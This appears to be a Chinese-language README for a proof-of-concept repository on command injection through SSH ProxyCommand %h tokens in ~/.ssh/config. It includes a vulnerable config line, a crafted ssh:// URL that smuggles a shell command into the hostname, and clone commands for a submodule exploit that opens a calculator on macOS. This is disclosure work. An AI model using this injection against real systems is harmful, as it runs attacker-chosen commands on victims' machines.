通过不安全的 ~/.ssh/config 实现远程代码执行 在使用 SSH ProxyCommand 进行隧道和连接代理时,%h、%p 等令牌的使用非常普遍。
易受攻击的配置 host *.example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p 注意:在我最初的评估中,我曾以为使用 '%h`(单引号)可以避免此问题,但看起来类似这样的方式仍然存在漏洞:
ssh://echo helloworld > cve.txt`foo.example.com/bar
来源于:https://man.openbsd.org/ssh_config#ProxyCommand
这个仓库包含什么 一个子模块,可利用此漏洞在 OSX 上弹出计算器。
尝试使用以下命令:
git clone https://github.com/vin01/poc-proxycommand-vulnerable --recurse-submodules
或者
git clone [email protected]:vin01/poc-proxycommand-vulnerable.git --recurse-submodules